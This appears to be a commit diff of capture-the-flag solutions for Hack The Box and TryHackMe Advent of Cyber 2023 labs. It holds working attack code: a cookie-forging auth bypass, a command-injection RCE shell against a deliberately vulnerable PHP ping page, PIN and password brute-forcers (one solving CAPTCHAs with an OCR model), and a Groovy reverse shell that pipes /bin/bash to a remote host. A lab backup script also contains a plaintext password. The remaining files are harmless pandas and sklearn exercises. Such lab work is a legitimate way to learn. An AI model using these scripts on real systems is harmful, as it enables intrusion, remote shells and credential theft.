Added initial code.

htb/challenges/web-baby-auth/solve.py

@@ -0,0 +1,17 @@
+#!/usr/bin/env python3
+
+import requests
+
+ip = '188.166.175.58'   # change this
+port = '32249'          # change this
+
+cookies = { 'PHPSESSID': 'eyJ1c2VybmFtZSI6ImFkbWluIn0K' }
+data = { 'username': 'admin', 'password': 'admin' }
+
+r = requests.get(f'http://{ip}:{port}/', data = data, cookies = cookies)
+
+data = r.text
+data = data.split('<h1>')[-1]
+data = data.split('</h1>')[0]
+
+print(data.strip())

htb/challenges/web-baby-nginxatsu/config_51

@@ -0,0 +1,45 @@
+user www;
+pid /run/nginx.pid;
+error_log /dev/stderr info;
+
+events {
+    worker_connections 1024;
+}
+
+http {
+    server_tokens off;
+
+    charset utf-8;
+    keepalive_timeout 20s;
+    sendfile on;
+    tcp_nopush on;
+    client_max_body_size 2M;
+
+    include  /etc/nginx/mime.types;
+
+    server {
+        listen 80;
+        server_name _;
+
+        index index.php;
+        root /www/public;
+
+        # We sure hope so that we don't spill any secrets
+        # within the open directory on /storage
+
+        location /storage {
+            autoindex on;
+        }
+
+        location / {
+            try_files $uri $uri/ /index.php?$query_string;
+            location ~ \.php$ {
+                try_files $uri =404;
+                fastcgi_pass unix:/run/php-fpm.sock;
+                fastcgi_index index.php;
+                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
+                include fastcgi_params;
+            }
+        }
+    }
+}

htb/challenges/web-looking-glass/index.php

@@ -0,0 +1,19 @@
+<?php
+function getUserIp()
+{
+    return $_SERVER['REMOTE_ADDR'];
+}
+
+function runTest($test, $ip_address)
+{
+    if ($test === 'ping')
+    {
+        system("ping -c4 ${ip_address}");
+    }
+    if ($test === 'traceroute')
+    {
+        system("traceroute ${ip_address}");
+    }
+}
+
+?>

htb/challenges/web-looking-glass/solve.py

@@ -0,0 +1,16 @@
+#!/usr/bin/env python3
+
+from requests import post
+
+cmd = input('rce>> ')
+ip = '159.65.20.166'    # change this
+port = '30526'          # change this
+
+data = {'test': 'ping', 'ip_address': f'{ip}; {cmd}', 'submit': 'Test'}
+r = post(f'{ip}:{port}/', data=data)
+
+data = r.text
+data = data.split('packet loss\n')[-1]
+data = data.split('</textarea>')[0]
+
+print(data.strip())

thm/aoc23/day02/1_packets_captured.py

@@ -0,0 +1,11 @@
+#!/usr/bin/env python3
+import pandas as pd
+import matplotlib.pyplot as plt
+
+df = pd.read_csv('network_traffic.csv')
+df.head(5)
+
+# We need to use Pandas count function on the dataframe
+# For example: dataframe.count()
+
+print(df.count())

thm/aoc23/day02/2_ip_address.py

@@ -0,0 +1,10 @@
+#!/usr/bin/env python3
+import pandas as pd
+
+df = pd.read_csv('network_traffic.csv')
+df.head(5)
+
+# We need to perform a groupby with Pandas size function the "Source" and "Destination" columns.
+# For example: dataframe.groupby(['ColumnName']).size()
+
+print(df.groupby(['Source']).size().sort_values(ascending=False))

thm/aoc23/day02/3_protocol.py

@@ -0,0 +1,8 @@
+#!/usr/bin/env python3
+import pandas as pd
+import matplotlib.pyplot as plt
+
+df = pd.read_csv('network_traffic.csv')
+df.head(5)
+
+print(df['Protocol'].value_counts())

thm/aoc23/day02/network_traffic.csv

@@ -0,0 +1,101 @@
+PacketNumber,Timestamp,Source,Destination,Protocol
+1,05:49.5,10.10.1.7,10.10.1.9,HTTP
+2,05:50.3,10.10.1.10,10.10.1.3,TCP
+3,06:10.3,10.10.1.1,10.10.1.2,HTTP
+4,06:10.4,10.10.1.9,10.10.1.3,ICMP
+5,06:10.4,10.10.1.1,10.10.1.7,ICMP
+6,06:10.4,10.10.1.10,10.10.1.8,DNS
+7,06:10.4,10.10.1.6,10.10.1.7,ICMP
+8,06:10.4,10.10.1.2,10.10.1.10,HTTP
+9,06:10.4,10.10.1.9,10.10.1.3,DNS
+10,06:10.4,10.10.1.7,10.10.1.7,TCP
+11,06:10.4,10.10.1.8,10.10.1.5,HTTP
+12,06:10.4,10.10.1.3,10.10.1.4,DNS
+13,06:10.4,10.10.1.2,10.10.1.5,ICMP
+14,06:10.4,10.10.1.3,10.10.1.2,DNS
+15,06:10.4,10.10.1.6,10.10.1.6,ICMP
+16,06:10.4,10.10.1.4,10.10.1.8,DNS
+17,06:10.4,10.10.1.9,10.10.1.3,ICMP
+18,06:10.4,10.10.1.8,10.10.1.9,HTTP
+19,06:10.5,10.10.1.5,10.10.1.7,HTTP
+20,06:10.5,10.10.1.9,10.10.1.1,DNS
+21,06:10.5,10.10.1.8,10.10.1.5,ICMP
+22,06:10.5,10.10.1.3,10.10.1.2,HTTP
+23,06:10.5,10.10.1.3,10.10.1.6,ICMP
+24,06:10.5,10.10.1.8,10.10.1.8,HTTP
+25,06:10.5,10.10.1.3,10.10.1.4,DNS
+26,06:10.5,10.10.1.4,10.10.1.10,ICMP
+27,06:10.6,10.10.1.2,10.10.1.7,ICMP
+28,06:10.6,10.10.1.3,10.10.1.5,TCP
+29,06:10.6,10.10.1.10,10.10.1.7,DNS
+30,06:10.6,10.10.1.9,10.10.1.3,DNS
+31,06:10.6,10.10.1.4,10.10.1.2,ICMP
+32,06:10.6,10.10.1.4,10.10.1.5,TCP
+33,06:10.6,10.10.1.10,10.10.1.3,TCP
+34,06:10.6,10.10.1.5,10.10.1.1,ICMP
+35,06:10.6,10.10.1.6,10.10.1.4,TCP
+36,06:10.6,10.10.1.6,10.10.1.8,ICMP
+37,06:10.6,10.10.1.6,10.10.1.2,DNS
+38,06:10.6,10.10.1.6,10.10.1.4,ICMP
+39,06:10.6,10.10.1.1,10.10.1.9,TCP
+40,06:10.6,10.10.1.6,10.10.1.10,DNS
+41,06:10.6,10.10.1.8,10.10.1.7,HTTP
+42,06:10.6,10.10.1.2,10.10.1.6,TCP
+43,06:10.6,10.10.1.8,10.10.1.2,TCP
+44,06:10.6,10.10.1.4,10.10.1.1,TCP
+45,06:10.6,10.10.1.1,10.10.1.8,ICMP
+46,06:10.6,10.10.1.8,10.10.1.2,HTTP
+47,06:10.6,10.10.1.9,10.10.1.9,ICMP
+48,06:10.6,10.10.1.1,10.10.1.5,TCP
+49,06:10.6,10.10.1.5,10.10.1.10,DNS
+50,06:10.6,10.10.1.6,10.10.1.2,DNS
+51,05:49.5,10.10.1.10,10.10.1.4,TCP
+52,05:50.3,10.10.1.6,10.10.1.7,ICMP
+53,06:10.3,10.10.1.3,10.10.1.7,HTTP
+54,06:10.4,10.10.1.2,10.10.1.9,HTTP
+55,06:10.4,10.10.1.7,10.10.1.5,DNS
+56,06:10.4,10.10.1.4,10.10.1.4,HTTP
+57,06:10.4,10.10.1.9,10.10.1.10,ICMP
+58,06:10.4,10.10.1.9,10.10.1.9,TCP
+59,06:10.4,10.10.1.8,10.10.1.2,ICMP
+60,06:10.4,10.10.1.2,10.10.1.9,DNS
+61,06:10.4,10.10.1.6,10.10.1.3,ICMP
+62,06:10.4,10.10.1.4,10.10.1.6,DNS
+63,06:10.4,10.10.1.4,10.10.1.4,TCP
+64,06:10.4,10.10.1.3,10.10.1.4,HTTP
+65,06:10.4,10.10.1.4,10.10.1.6,HTTP
+66,06:10.4,10.10.1.9,10.10.1.3,HTTP
+67,06:10.4,10.10.1.6,10.10.1.8,TCP
+68,06:10.4,10.10.1.10,10.10.1.6,TCP
+69,06:10.5,10.10.1.2,10.10.1.7,HTTP
+70,06:10.5,10.10.1.6,10.10.1.1,HTTP
+71,06:10.5,10.10.1.1,10.10.1.9,DNS
+72,06:10.5,10.10.1.9,10.10.1.5,ICMP
+73,06:10.5,10.10.1.10,10.10.1.5,DNS
+74,06:10.5,10.10.1.6,10.10.1.10,DNS
+75,06:10.5,10.10.1.2,10.10.1.8,HTTP
+76,06:10.5,10.10.1.2,10.10.1.3,TCP
+77,06:10.6,10.10.1.7,10.10.1.3,ICMP
+78,06:10.6,10.10.1.3,10.10.1.7,DNS
+79,06:10.6,10.10.1.3,10.10.1.7,TCP
+80,06:10.6,10.10.1.7,10.10.1.8,HTTP
+81,06:10.6,10.10.1.1,10.10.1.6,TCP
+82,06:10.6,10.10.1.3,10.10.1.2,HTTP
+83,06:10.6,10.10.1.5,10.10.1.3,DNS
+84,06:10.6,10.10.1.3,10.10.1.2,TCP
+85,06:10.6,10.10.1.4,10.10.1.8,ICMP
+86,06:10.6,10.10.1.4,10.10.1.2,DNS
+87,06:10.6,10.10.1.4,10.10.1.2,DNS
+88,06:10.6,10.10.1.4,10.10.1.1,HTTP
+89,06:10.6,10.10.1.2,10.10.1.3,TCP
+90,06:10.6,10.10.1.2,10.10.1.5,HTTP
+91,06:10.6,10.10.1.2,10.10.1.3,ICMP
+92,06:10.6,10.10.1.10,10.10.1.2,ICMP
+93,06:10.6,10.10.1.9,10.10.1.4,HTTP
+94,06:10.6,10.10.1.6,10.10.1.9,TCP
+95,06:10.6,10.10.1.4,10.10.1.4,TCP
+96,06:10.6,10.10.1.8,10.10.1.3,DNS
+97,06:10.6,10.10.1.1,10.10.1.3,ICMP
+98,06:10.6,10.10.1.3,10.10.1.3,DNS
+99,06:10.6,10.10.1.4,10.10.1.3,TCP
+100,06:10.6,10.10.1.5,10.10.1.2,ICMP

thm/aoc23/day03/brute.py

@@ -0,0 +1,20 @@
+#!/usr/bin/env python3
+import requests
+
+url = 'http://10.10.136.61:8000/login.php'
+
+def login(pin):
+    r = requests.post(url, data = { 'pin': pin }, allow_redirects=True)
+    return r
+
+#print(login('123').text)
+with open('pw.lst', 'r') as fh:
+    pins = [ line.strip() for line in fh.read().split('\n') if line ]
+
+for pin in pins:
+    res = login(pin).text
+    data = res.split('<h1 class="text-5xl text-red">')[-1]
+    data = data.split('</h1>')[0]
+    if data != 'Access Denied':
+        print(f'The PIN is: {pin}')
+        break

thm/aoc23/day12/backup.sh

@@ -0,0 +1,23 @@
+#!/bin/sh
+
+mkdir /var/lib/jenkins/backup
+mkdir /var/lib/jenkins/backup/jobs /var/lib/jenkins/backup/nodes /var/lib/jenkins/backup/plugins /var/lib/jenkins/backup/secrets /var/lib/jenkins/backup/users
+
+cp /var/lib/jenkins/*.xml /var/lib/jenkins/backup/
+cp -r /var/lib/jenkins/jobs/ /var/lib/jenkins/backup/jobs/
+cp -r /var/lib/jenkins/nodes/ /var/lib/jenkins/backup/nodes/
+cp /var/lib/jenkins/plugins/*.jpi /var/lib/jenkins/backup/plugins/
+cp /var/lib/jenkins/secrets/* /var/lib/jenkins/backup/secrets/
+cp -r /var/lib/jenkins/users/* /var/lib/jenkins/backup/users/
+
+tar czvf /var/lib/jenkins/backup.tar.gz /var/lib/jenkins/backup/
+/bin/sleep 5
+
+username="tracy"
+password="13_1n_33"
+Ip="localhost"
+sshpass -p "$password" scp /var/lib/jenkins/backup.tar.gz $username@$Ip:/home/tracy/backups
+/bin/sleep 10
+
+rm -rf /var/lib/jenkins/backup/
+rm -rf /var/lib/jenkins/backup.tar.gz

thm/aoc23/day12/rev-shell.groovy

@@ -0,0 +1,4 @@
+String host="10.14.42.37";
+int port=1886;
+String cmd="/bin/bash";
+Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

thm/aoc23/day14/detector.py

@@ -0,0 +1,100 @@
+#These are the imports that we need for our Neural Network
+#Numpy is a powerful array and matrix library used to format our data
+import numpy as np
+#Pandas is a machine learning library that also allows for reading and formatting data structures
+import pandas as pd
+#This will be used to split our data
+from sklearn.model_selection import train_test_split
+#This is used to normalize our data
+from sklearn.preprocessing import StandardScaler
+#This is used to encode our text data to integers
+from sklearn.preprocessing import LabelEncoder
+#This is our Multi-Layer Perceptron Neural Network
+from sklearn.neural_network import MLPClassifier
+
+#These are the colour labels that we will convert to int
+colours = ["Red", "Blue", "Green", "Yellow", "Pink", "Purple", "Orange"]
+
+
+#Read the training and testing data files
+training_data = pd.read_csv("training_dataset.csv")
+training_data.head()
+
+testing_data = pd.read_csv("testing_dataset.csv")
+testing_data.head()
+
+#The Neural Network cannot take Strings as input, therefore we will encode the strings as integers
+encoder = LabelEncoder()
+encoder.fit(training_data["Colour Scheme"])
+training_data["Colour Scheme"] = encoder.transform(training_data["Colour Scheme"])
+testing_data["Colour Scheme"] = encoder.transform(testing_data["Colour Scheme"])
+
+#Read the data we will train on
+X = np.asanyarray(training_data[['Height','Width','Length','Colour Scheme','Maker Elf ID','Checker Elf ID']])
+#Read the labels of our training data
+y = np.asanyarray(training_data['Defective'].astype('int'))
+
+#Read our testing data
+test_X = np.asanyarray(testing_data[['Height','Width','Length','Colour Scheme','Maker Elf ID','Checker Elf ID']])
+
+#This will split our training dataset into two with a 80/20 split
+train_X, validate_X, train_y, validate_y = train_test_split(X, y, test_size=0.2)
+
+print ("Sample of our data:")
+print("Features:\n{}\nDefective?:\n{}".format(train_X[:3], train_y[:3]))
+
+#Normalize our dataset
+scaler = StandardScaler()
+scaler.fit(train_X)
+
+train_X = scaler.transform(train_X)
+validate_X = scaler.transform(validate_X)
+test_X = scaler.transform(test_X)
+
+print ("Sampe of our data after normalization:")
+print("Features:\n{}\nDefective?:\n{}".format(train_X[:3], train_y[:3]))
+
+#Create our classifier
+clf = MLPClassifier(solver='lbfgs', alpha=1e-5, hidden_layer_sizes=(15, 2), max_iter=10000)
+
+print ("Starting to training our Neural Network")
+
+#Train our classifier
+clf.fit(train_X, train_y)
+
+#Validate our Neural Network
+y_predicted = clf.predict(validate_X)
+
+#This function tests how well your Neural Network performs with the validation dataset
+count_correct = 0
+count_incorrect = 0
+for x in range(len(y_predicted)):
+
+    if (y_predicted[x] == validate_y[x]):
+        count_correct += 1
+    else:
+        count_incorrect += 1
+
+print ("Training has been completed, validating neural network now....")
+print ("Total Correct:\t\t" + str(count_correct))
+print ("Total Incorrect:\t" + str(count_incorrect))
+
+accuracy =  ((count_correct * 1.0) / (1.0 * (count_correct + count_incorrect)))
+
+print ("Network Accuracy:\t" + str(accuracy * 100) + "%")
+
+print ("Now we will predict the testing dataset for which we don't have the answers for...")
+
+#Make prediction on the testing data that was not labelled by the elves
+y_test_predictions = clf.predict(test_X)
+
+#This function will save your predictions to a textfile that can be uploaded for scoring
+print ("Saving predictions to a file")
+
+output = open("predictions.txt", 'w')
+
+for value in y_test_predictions:
+    output.write(str(value) + "\n")
+
+print ("Predictions are saved, this file can now be uploaded to verify your Neural Network")
+output.close()

thm/aoc23/day15/complete.py

@@ -0,0 +1,40 @@
+#!/usr/bin/env python3
+import numpy as np
+import pandas as pd
+from sklearn.feature_extraction.text import CountVectorizer
+from sklearn.model_selection import train_test_split
+from sklearn.naive_bayes import MultinomialNB
+from sklearn.metrics import classification_report
+
+#Read the email dataset.
+data = pd.read_csv('emails_dataset.csv')
+df = pd.DataFrame(data)
+
+#Convert text to numbers.
+vectorizer = CountVectorizer()
+X = vectorizer.fit_transform(df['Message'])
+
+#Split the dataset for training and testing
+y = df['Classification']
+X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
+
+#Train the model
+clf = MultinomialNB()
+clf.fit(X_train, y_train)
+
+#Evaluate the model's performance
+y_pred = clf.predict(X_test)
+print(classification_report(y_test, y_pred))
+
+#Add a simple test to the model
+message = vectorizer.transform(["Today's Offer! Claim ur $150 worth of discount vouchers! Text YES to 85023 now! SavaMob, member offers mobile! T Cs 08717898035. $3.00 Sub. 16 . Unsbub reply X"])
+prediction = clf.predict(message)
+print("The email is: ", prediction[0])
+
+#Run the complete test of the emails inside "test_emails.csv"
+test_data = pd.read_csv("test_emails.csv")
+
+X_new = vectorizer.transform(test_data['Messages'])
+new_predictions = clf.predict(X_new)
+results_df = pd.DataFrame({'Messages': test_data['Messages'], 'Prediction': new_predictions})
+print(results_df)

thm/aoc23/day15/test_emails.csv

@@ -0,0 +1,37 @@
+Messages
+Reply with your name and address and YOU WILL RECEIVE BY POST a weeks completely free accommodation at various global locations.
+Kind of. Took it to garage. Centre part of exhaust needs replacing. Part ordered n taking it to be fixed tomo morning.
+Fighting with the world is easy
+Why must we sit around and wait for summer days to celebrate. Such a magical sight when the worlds dressed in white. Oooooh let there be snow.
+Oh
+ALERT!!!! Get a Chance to Win a 1000$ voucher on your Next Purchase by share the information about the Best Festival company-- the secret code is 'I_HaTe_BesT_FestiVal'
+i cant talk to you now.i will call when i can.dont keep calling.
+Today's Offer! Claim ur £150 worth of discount vouchers! Text YES to 85023 now! SavaMob
+Don't worry though
+Hey mate. Spoke to the mag people. We‘re on.  the is deliver by the end of the month. Deliver on the 24th sept. Talk later.
+I sent you the prices and do you mean the   g
+Goodmorning
+Its good
+Ü takin linear algebra today?
+Hey so whats the plan this sat?
+Hey i will be late ah... Meet you at 945+
+I fetch yun or u fetch?
+Ok lor. I ned 2 go toa payoh 4 a while 2 return smth u wan 2 send me there or wat?
+I like dis sweater fr mango but no more my size already so irritating.
+What makes you most happy?
+No idea
+All done
+Did either of you have any idea's? Do you know of anyplaces doing something?
+Yes..he is really great..bhaji told kallis best cricketer after sachin in world:).very tough to get out.
+Hey... Very inconvenient for your sis a not huh?
+Great! So what attracts you to the brothas?
+In life when you face choices Just toss a coin not becoz its settle the question But while the coin in the air U will know what your heart is hoping for. Gudni8
+Haha mayb u're rite... U know me well. Da feeling of being liked by someone is gd lor. U faster go find one then all gals in our group attached liao.
+Somebody set up a website where you can play hold em using eve online spacebucks
+I'm really sorry I lit your hair on fire
+Hello! How's you and how did saturday go? I was just texting to see if you'd decided to do anything tomo. Not that i'm trying to invite myself or anything!
+And very importantly
+Ok Chinese food on its way. When I get fat you're paying for my lipo.
+I'm used to it. I just hope my agents don't drop me since i've only booked a few things this year. This whole me in boston
+Mode men or have you left.
+You have to pls make a note of all she.s exposed to. Also find out from her school if anyone else was vomiting. Is there a dog or cat in the house? Let me know later.

thm/aoc23/day16/brute.py

@@ -0,0 +1,82 @@
+#!/usr/bin/env python3
+import requests
+import base64
+import json
+from bs4 import BeautifulSoup
+
+username = 'admin'
+passwords = []
+
+# URLs for our requests
+website_url = 'http://hqadmin.thm:8000'
+model_url = 'http://localhost:8501/v1/models/ocr:predict'
+
+# Load in the passwords for Brute Forcing
+with open('passwords.txt', 'r') as wordlist:
+    lines = wordlist.readlines()
+    for line in lines:
+        passwords.append(line.replace('\n', ''))
+
+access_granted = False
+count = 0
+
+# Run the Brute Force Attack until we are out of passwords or have gained access
+while(access_granted == False and count < len(passwords)):
+    # Run a Brute Force for each password
+    password = passwords[count]
+
+    # Connect to webapp to get the CAPTCHA.
+    # We use a session so the cookies are taken care of for us.
+    sess = requests.session()
+    r = sess.get(website_url)
+
+    # Use soup to parse the HTML and extract the CAPTCHA image.
+    soup = BeautifulSoup(r.content, 'html.parser')
+    img = soup.find('img')
+    encoded_image = img['src'].split(' ')[1]
+
+    # Build the JSON request to send to the CAPTCHA predictor
+    model_data = {
+            'signature_name' : 'serving_default',
+            'inputs' : {'input' : {'b64' : encoded_image} }
+            }
+
+    # Send the CAPTCHA prediction request and load the response
+    r = requests.post(model_url, json=model_data)
+    prediction = r.json()
+    probability = prediction['outputs']['probability']
+    answer = prediction['outputs']['output']
+
+    # Increase our guessing accuracy by only submitting the answer if we are more than 90% sure
+    if (probability < 0.90):
+        # If lower than 90%, no submission of CAPTCHA
+        print('[-] Prediction probability to low, not submitting CAPTCHA')
+        continue
+
+    # Otherwise, submit the answer in a POST data
+    # Build the POST data
+    website_data = {
+            'username' : username,
+            'password' : password,
+            'captcha' : answer,
+            'submit' : 'Submit+Query'
+            }
+
+    # Submit our Brute Force Attack
+    r = sess.post(website_url, data=website_data)
+
+    # Read the response and interpret the results of the attempt
+    response = r.text
+
+    # If the response tells us that we have submitted the wrong CAPTCHA, we try again with this password
+    if ('Incorrect CAPTCHA value supplied' in response):
+        print('[-] Incorrect CAPTCHA value was supplied. We will resubmit this password')
+        continue
+    # If the response tells us that we have submitted the wrong password, we can try with the next password
+    elif ('Incorrect Username or Password' in response):
+        print('[-] Invalid credentials -- Username ' + username + ' Password: ' + password)
+        count += 1
+    # Otherwise, we have found the correct password!
+    else:
+        print ('[+] Access Granted! -- Username: ' + username + ' Password: ' + password)
+        access_granted = True

thm/aoc23/day16/captcha_img.py

@@ -0,0 +1,13 @@
+#!/usr/bin/env python3
+from captcha.image import ImageCaptcha
+import random
+
+amount = 99999
+count = 10000
+
+while count <= amount:
+    image = ImageCaptcha(width = 160, height = 60)
+    text = str(count)
+    count += 1
+    data = image.generate(text)
+    image.write(text, (text) + ".png")

thm/aoc23/day16/labels.py

@@ -0,0 +1,35 @@
+#!/usr/bin/env python3
+import glob
+from sklearn.model_selection import train_test_split
+
+data = glob.glob("../raw_data/*.png")
+
+print(data)
+
+dataset = []
+labels = []
+
+for item in data:
+    label = item.split('/')[1].replace(".png","") #dataset/32154.png
+    labels.append(label)
+    dataset.append(item)
+
+train_X, validate_X, train_y, validate_y = train_test_split(dataset, labels, test_size=0.2)
+
+f = open('training.txt', 'w')
+
+count = 0
+
+for count in range(len(train_X)):
+    f.write(train_X[count] + " " + train_y[count] + "\n")
+
+f.close()
+
+count = 0
+
+f = open('testing.txt', 'w')
+
+for count in range(len(validate_X)):
+    f.write(validate_X[count] + " " + validate_y[count] + "\n")
+
+f.close()